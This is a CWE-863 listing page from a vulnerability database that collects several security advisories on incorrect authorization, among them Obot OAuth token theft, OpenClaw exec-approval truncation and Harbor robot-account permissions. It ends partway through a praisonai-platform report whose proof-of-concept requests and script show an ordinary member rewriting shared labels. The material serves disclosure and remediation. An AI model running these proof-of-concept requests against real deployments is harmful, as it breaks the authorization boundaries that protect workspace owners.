CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
7156 vulnerabilities reference this CWE, most recent first.
GHSA-XWMW-PRC4-V3CR
Vulnerability from github – Published: 2026-09-18 17:59 – Updated: 2026-09-18 17:59Summary
In affected versions, an unauthenticated attacker could register an OAuth client with an arbitrary external redirect URI, and the authorization flow would auto-complete without a consent screen. If a logged-in victim visited a crafted authorization URL, an authorization code was delivered to the attacker's redirect URI and exchanged for an access token. That token was minted with the victim's full set of groups, so it could be used as a bearer token against the Obot API endpoints the victim had access to — rather than being scoped to just the requested MCP server.
Am I affected?
You are affected if you run Obot <= v0.22.1 with OBOT_SERVER_ENABLE_AUTHENTICATION=true. Exploitation requires a logged-in victim to visit a single attacker-controlled authorization URL.
Details
Three issues combined to create this vulnerability. First, OAuth dynamic client registration was reachable without authentication and applied no restriction on the redirect URIs a client could register, so an attacker could register a client pointing at their own domain. The authorization flow then auto-completed for an already-logged-in user with no consent step, so simply loading the authorization URL issued an authorization code and redirected it to the attacker's URI. Finally, the token minted by the MCP OAuth flow carried the victim's full group set in the JWT — the field used to authorize API paths — so although the token's audience was the requested MCP server, it was accepted across the victim's wider API access. (Obot's JWT verification validated the issuer but not the audience; audiences were enforced at the MCP layer.)
Impact
Worst case is that an attacker who gets a logged-in victim to click a crafted link obtains an access token (and refresh token) usable against the API endpoints the victim is authorized for — reading or modifying the victim's resources until the token is revoked. No attacker-side privileges are required.
Mitigation
Upgrade to v0.23.0 or later, which adds three protections: a consent screen that shows the requesting client and the MCP server it wants access to before authorization completes; restriction of tokens minted by the MCP OAuth flow to only the MCP involved in the request, so they can no longer reach the user's wider API access; and audience validation as a fail-safe ensuring these tokens are only accepted for the MCP server they were issued for.
Severity
CVSS v3.1 Score: 8.8/10 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Credits
The Obot team would like to thank @EQSTLab for responsibly disclosing this issue in accordance with our security policy.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/obot-platform/obot"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-18T17:59:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nIn affected versions, an unauthenticated attacker could register an OAuth client with an arbitrary external redirect URI, and the authorization flow would auto-complete without a consent screen. If a logged-in victim visited a crafted authorization URL, an authorization code was delivered to the attacker\u0027s redirect URI and exchanged for an access token. That token was minted with the victim\u0027s full set of groups, so it could be used as a bearer token against the Obot API endpoints the victim had access to \u2014 rather than being scoped to just the requested MCP server.\n\n## Am I affected?\n\nYou are affected if you run Obot `\u003c= v0.22.1` with `OBOT_SERVER_ENABLE_AUTHENTICATION=true`. Exploitation requires a logged-in victim to visit a single attacker-controlled authorization URL.\n\n## Details\n\nThree issues combined to create this vulnerability. First, OAuth dynamic client registration was reachable without authentication and applied no restriction on the redirect URIs a client could register, so an attacker could register a client pointing at their own domain. The authorization flow then auto-completed for an already-logged-in user with no consent step, so simply loading the authorization URL issued an authorization code and redirected it to the attacker\u0027s URI. Finally, the token minted by the MCP OAuth flow carried the victim\u0027s full group set in the JWT \u2014 the field used to authorize API paths \u2014 so although the token\u0027s audience was the requested MCP server, it was accepted across the victim\u0027s wider API access. (Obot\u0027s JWT verification validated the issuer but not the audience; audiences were enforced at the MCP layer.)\n\n## Impact\n\nWorst case is that an attacker who gets a logged-in victim to click a crafted link obtains an access token (and refresh token) usable against the API endpoints the victim is authorized for \u2014 reading or modifying the victim\u0027s resources until the token is revoked. No attacker-side privileges are required.\n\n## Mitigation\n\nUpgrade to **v0.23.0** or later, which adds three protections: a consent screen that shows the requesting client and the MCP server it wants access to before authorization completes; restriction of tokens minted by the MCP OAuth flow to only the MCP involved in the request, so they can no longer reach the user\u0027s wider API access; and audience validation as a fail-safe ensuring these tokens are only accepted for the MCP server they were issued for.\n\n## Severity\n\nCVSS v3.1 Score: **8.8/10 (High)** \u2014 `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n## Credits\n\nThe Obot team would like to thank [@EQSTLab](https://github.com/EQSTLab) for responsibly disclosing this issue in accordance with our [security policy](https://github.com/obot-platform/obot/?tab=security-ov-file).",
"id": "GHSA-xwmw-prc4-v3cr",
"modified": "2026-09-18T17:59:35Z",
"published": "2026-09-18T17:59:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/obot-platform/obot/security/advisories/GHSA-xwmw-prc4-v3cr"
},
{
"type": "PACKAGE",
"url": "https://github.com/obot-platform/obot"
},
{
"type": "WEB",
"url": "https://github.com/obot-platform/obot/releases/tag/v0.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Obot: OAuth Dynamic Client Registration Enables API Token Theft via Audience Confusion"
}
GHSA-XWR9-QPH4-CPWG
Vulnerability from github – Published: 2025-08-14 15:30 – Updated: 2025-08-14 15:30A security issue exists within the 5032 16pt Digital Configurable module’s web server. The web server’s session number increments at an interval that correlates to the last two consecutive sign in session interval, making it predictable.
{
"affected": [],
"aliases": [
"CVE-2025-7773"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-14T14:15:35Z",
"severity": "HIGH"
},
"details": "A security issue exists within the 5032 16pt Digital Configurable module\u2019s web server. The web server\u2019s session number increments at an interval that correlates to the last two consecutive sign in session interval, making it predictable.",
"id": "GHSA-xwr9-qph4-cpwg",
"modified": "2025-08-14T15:30:45Z",
"published": "2025-08-14T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7773"
},
{
"type": "WEB",
"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1733.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XWW8-GQVH-92X9
Vulnerability from github – Published: 2026-07-02 15:40 – Updated: 2026-07-02 15:40Summary
OpenClaw exec approvals could show a shortened command in the approval UI while keeping the full original command for execution. For very long commands, an approver could see and approve a benign-looking prefix while a hidden suffix remained part of the command that would run after approval.
This issue affects the approval display and binding for oversized exec commands. It does not make exec available to unauthenticated users, and it does not change OpenClaw's local-first trust model.
Affected configurations
This affects deployments where exec approval is enabled and an authenticated caller can create a pending host exec request with a command long enough to be truncated in the approval view.
Impact
An approver could make a decision from incomplete command text. If the hidden suffix contained additional shell operations, those operations could run after the approval was resolved.
The practical impact depends on who can request exec approvals and who is allowed to approve them. The issue is an approval integrity problem: the approval surface did not faithfully represent the command that would execute.
Patched Versions
The first stable patched version is 2026.5.18.
Mitigations
Upgrade to openclaw@2026.5.18 or later. Before upgrading, avoid approving unusually long exec commands and keep approval capability limited to trusted operators.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.5.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T15:40:36Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nOpenClaw exec approvals could show a shortened command in the approval UI while keeping the full original command for execution. For very long commands, an approver could see and approve a benign-looking prefix while a hidden suffix remained part of the command that would run after approval.\n\nThis issue affects the approval display and binding for oversized exec commands. It does not make exec available to unauthenticated users, and it does not change OpenClaw\u0027s local-first trust model.\n\n### Affected configurations\n\nThis affects deployments where exec approval is enabled and an authenticated caller can create a pending host exec request with a command long enough to be truncated in the approval view.\n\n### Impact\n\nAn approver could make a decision from incomplete command text. If the hidden suffix contained additional shell operations, those operations could run after the approval was resolved.\n\nThe practical impact depends on who can request exec approvals and who is allowed to approve them. The issue is an approval integrity problem: the approval surface did not faithfully represent the command that would execute.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.18`.\n\n### Mitigations\n\nUpgrade to `openclaw@2026.5.18` or later. Before upgrading, avoid approving unusually long exec commands and keep approval capability limited to trusted operators.",
"id": "GHSA-xww8-gqvh-92x9",
"modified": "2026-07-02T15:40:37Z",
"published": "2026-07-02T15:40:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xww8-gqvh-92x9"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw: Exec approval display truncation could hide the command being approved"
}
GHSA-XX38-QPXM-6J8X
Vulnerability from github – Published: 2022-05-05 02:49 – Updated: 2022-05-05 02:49IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.29, 8.0 before 8.0.0.6, and 8.5 before 8.5.0.2 on Linux, Solaris, and HP-UX, when a Local OS registry is used, does not properly validate user accounts, which allows remote attackers to bypass intended access restrictions via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2013-0543"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-04-24T10:28:00Z",
"severity": "MODERATE"
},
"details": "IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.29, 8.0 before 8.0.0.6, and 8.5 before 8.5.0.2 on Linux, Solaris, and HP-UX, when a Local OS registry is used, does not properly validate user accounts, which allows remote attackers to bypass intended access restrictions via unspecified vectors.",
"id": "GHSA-xx38-qpxm-6j8x",
"modified": "2022-05-05T02:49:15Z",
"published": "2022-05-05T02:49:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-0543"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/82759"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?\u0026uid=swg21632423"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1PM75582"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XX3Q-RPJX-26CV
Vulnerability from github – Published: 2026-10-06 21:31 – Updated: 2026-10-06 21:31Incorrect authorization in Browser in Google Chrome prior to 155.0.8059.39 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-106350"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-06T19:18:03Z",
"severity": "HIGH"
},
"details": "Incorrect authorization in Browser in Google Chrome prior to 155.0.8059.39 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-xx3q-rpjx-26cv",
"modified": "2026-10-06T21:31:47Z",
"published": "2026-10-06T21:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106350"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_086471744.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/553270559"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XX75-RCGC-PC97
Vulnerability from github – Published: 2022-04-08 00:00 – Updated: 2022-04-15 00:00aEnrich a+HRD has inadequate privilege restrictions, an unauthenticated remote attacker can use the API function to upload and execute malicious scripts to control the system or disrupt service.
{
"affected": [],
"aliases": [
"CVE-2022-26676"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-07T19:15:00Z",
"severity": "CRITICAL"
},
"details": "aEnrich a+HRD has inadequate privilege restrictions, an unauthenticated remote attacker can use the API function to upload and execute malicious scripts to control the system or disrupt service.",
"id": "GHSA-xx75-rcgc-pc97",
"modified": "2022-04-15T00:00:59Z",
"published": "2022-04-08T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26676"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-5970-2f405-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XX9W-464F-7H6F
Vulnerability from github – Published: 2022-09-16 20:27 – Updated: 2024-11-19 16:25Impact
Harbor fails to validate the user permissions when updating a robot account that belongs to a project that the authenticated user doesn’t have access to. API call:
PUT /robots/{robot_id}
By sending a request that attempts to update a robot account, and specifying a robot account id and robot account name that belongs to a different project that the user doesn’t have access to, it was possible to revoke the robot account permissions.
Patches
This and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.
Workarounds
There are no workarounds available.
For more information
If you have any questions or comments about this advisory: * Open an issue in the Harbor GitHub repository
Credits
Thanks to Gal Goldstein and Daniel Abeles from Oxeye Security for reporting this issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.12"
},
"package": {
"ecosystem": "Go",
"name": "github.com/goharbor/harbor"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/goharbor/harbor"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.4.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/goharbor/harbor"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31667"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T20:27:13Z",
"nvd_published_at": "2024-11-14T12:15:16Z",
"severity": "MODERATE"
},
"details": "### Impact\nHarbor fails to validate the user permissions when updating a robot account that\nbelongs to a project that the authenticated user doesn\u2019t have access to. API call:\n\nPUT /robots/{robot_id}\n\nBy sending a request that attempts to update a robot account, and specifying a robot\naccount id and robot account name that belongs to a different project that the user\ndoesn\u2019t have access to, it was possible to revoke the robot account permissions.\n\n### Patches\nThis and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.\n\n### Workarounds\nThere are no workarounds available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Harbor GitHub repository](https://github.com/goharbor/harbor)\n\n### Credits\nThanks to [Gal Goldstein](https://www.linkedin.com/in/gal-goldshtein/) and [Daniel Abeles](https://www.linkedin.com/in/daniel-abeles/) from [Oxeye Security](https://www.oxeye.io/) for reporting this issue.\n",
"id": "GHSA-xx9w-464f-7h6f",
"modified": "2024-11-19T16:25:22Z",
"published": "2022-09-16T20:27:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/goharbor/harbor/security/advisories/GHSA-xx9w-464f-7h6f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31667"
},
{
"type": "PACKAGE",
"url": "https://github.com/goharbor/harbor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": " Harbor fails to validate the user permissions when updating a robot account"
}
GHSA-XXGF-X7HJ-4PF8
Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32Vulnerability in the Oracle Time and Labor product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Time and Labor. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Time and Labor accessible data as well as unauthorized access to critical data or complete access to all Oracle Time and Labor accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-60951"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:18:29Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Time and Labor product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Time and Labor. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Time and Labor accessible data as well as unauthorized access to critical data or complete access to all Oracle Time and Labor accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).",
"id": "GHSA-xxgf-x7hj-4pf8",
"modified": "2026-07-22T00:32:08Z",
"published": "2026-07-22T00:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60951"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XXGV-VGVJ-QVXH
Vulnerability from github – Published: 2026-10-08 21:58 – Updated: 2026-10-08 21:58Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
Summary
praisonai-platform lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.
Technical Details
The affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/labels.py defines PATCH /workspaces/{workspace_id}/labels/{label_id} with user: AuthIdentity = Depends(require_workspace_member). The route verifies the label belongs to the URL workspace, then calls LabelService.update(label_id, body.name, body.color), which writes the shared label name/color.
The paired label delete route shows a stricter intended boundary. DELETE /workspaces/{workspace_id}/labels/{label_id} also verifies the label belongs to the URL workspace, but then calls require_delete_permission(workspace_id, user, session) before deleting. require_delete_permission() allows workspace admins/owners, or a supplied resource_owner_id; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives 403 for direct label deletion in current head, 0.1.6, and 0.1.8.
The issue-label link routes have the same under-authorized write boundary. POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} and DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} require only workspace membership after confirming the issue and label belong to the URL workspace. They then call LabelService.add_to_issue(issue_id, label_id) or LabelService.remove_from_issue(issue_id, label_id) without checking whether the caller owns the issue or has workspace admin/owner authority.
As a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return 403, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.
PoV
the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain member, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.
Essential excerpt:
member_delete_label = await client.delete(
f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}",
headers=member_headers,
)
member_patch_label = await client.patch(
f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
json={"name": "Member-controlled triage", "color": "#000000"},
headers=member_headers,
)
member_remove_from_owner_issue = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
headers=member_headers,
)
member_add_back_to_owner_issue = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
headers=member_headers,
)
outsider_patch_label = await client.patch(
f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
json={"name": "Outsider attempt"},
headers=outsider_headers,
)
The full PoV script is included in the appendix below.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows
Run against a local checkout of current head:
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json
Decisive current-head output:
{
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"vulnerable": true,
"checks": {
"initial_owner_issue_labels": [
"Owner triage"
],
"member_direct_label_delete": 403,
"member_patch_label": 200,
"owner_observed_label_name_after_member_patch": "Member-controlled triage",
"owner_observed_label_color_after_member_patch": "#000000",
"member_remove_label_from_owner_issue": 204,
"owner_issue_labels_after_member_remove": [],
"member_add_label_to_owner_issue": 204,
"owner_issue_labels_after_member_add": [
"Member-controlled triage"
],
"non_member_patch_label": 403,
"non_member_add_label_to_issue": 403,
"owner_delete_label": 204
}
}
Run against the latest PyPI package observed during testing:
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --json
Decisive latest-PyPI output:
{
"source": "pypi:praisonai-platform==0.1.8",
"vulnerable": true,
"checks": {
"member_direct_label_delete": 403,
"member_patch_label": 200,
"member_remove_label_from_owner_issue": 204,
"member_add_label_to_owner_issue": 204,
"non_member_patch_label": 403,
"non_member_add_label_to_issue": 403
}
}
Version sweep excerpt:
current git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204
The 0.1.4 result is not a clean negative. It means direct member label deletion still returned 204 in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.
Impact
An ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.
Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.
Suggested Fix
Define explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for PATCH /labels/{label_id}, POST /issues/{issue_id}/labels/{label_id}, and DELETE /issues/{issue_id}/labels/{label_id} when the target issue or shared label was not created by the caller.
If labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.
Add regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives 403; and direct label deletion remains protected.
Affected Package/Versions
Affected package: pypi:praisonai-platform.
Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.
The post-delete-guard label write authorization gap is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In sampled 0.1.4, direct member label deletion already returned 204, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.
Suggested affected range for the post-delete-guard bypass: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.
GHSA-5jx9-w35f-vp65 / CVE-2026-47414, "praisonai-platform: Label endpoints' unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)", covers cross-workspace label operations in <=0.1.2 and lists 0.1.4 as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive 403, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.
GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns 403 in current head, 0.1.6, and 0.1.8 while the sibling label PATCH and issue-label add/remove routes still return 200/204. If maintainers track the remaining issue-label DELETE behavior under GHSA-rh39-9c67-59mh, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.
GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers issue create/update accepting a body-supplied foreign project_id and polluting another workspace's project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.
GHSA-gv23-xrm3-8c62 covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.
GHSA-xwq8-frcg-77q8 covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.
References
https://github.com/advisories/GHSA-5jx9-w35f-vp65https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mhhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7xhttps://github.com/advisories/GHSA-gv23-xrm3-8c62https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8https://cwe.mitre.org/data/definitions/862.htmlhttps://cwe.mitre.org/data/definitions/863.html
Appendix A - Full PoV Script
Save this as pov_platform_label_authorization_bypass.py before running the PoC commands above.
#!/usr/bin/env python3
"""PoV for PraisonAI Platform label authorization gaps."""
from __future__ import annotations
import argparse
import asyncio
import json
import os
import subprocess
import sys
from pathlib import Path
from typing import Any
def _load_local_source(repo: Path | None) -> None:
if repo is None:
return
platform_root = repo / "src" / "praisonai-platform"
agents_root = repo / "src" / "praisonai-agents"
for path in (str(platform_root), str(agents_root)):
if path not in sys.path:
sys.path.insert(0, path)
async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
response = await client.post(
"/api/v1/auth/register",
json={"email": email, "password": "Password1!", "name": name},
)
if response.status_code >= 400:
raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
body = response.json()
return body["token"], body["user"]["id"]
async def _create_issue(
client: Any,
workspace_id: str,
headers: dict[str, str],
title: str,
) -> str:
response = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/",
json={"title": title, "priority": "high"},
headers=headers,
)
response.raise_for_status()
return response.json()["id"]
async def _issue_label_names(
client: Any,
workspace_id: str,
issue_id: str,
headers: dict[str, str],
) -> list[str]:
response = await client.get(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels",
headers=headers,
)
response.raise_for_status()
return [label["name"] for label in response.json()]
async def _run(repo: Path | None) -> dict[str, Any]:
os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
_load_local_source(repo)
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
from praisonai_platform.api.app import create_app
from praisonai_platform.db import base as base_mod
from praisonai_platform.db.base import Base, reset_engine
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
owner_token, _owner_id = await _register(client, "owner@example.com", "Owner")
member_token, member_id = await _register(client, "member@example.com", "Member")
outsider_token, _outsider_id = await _register(
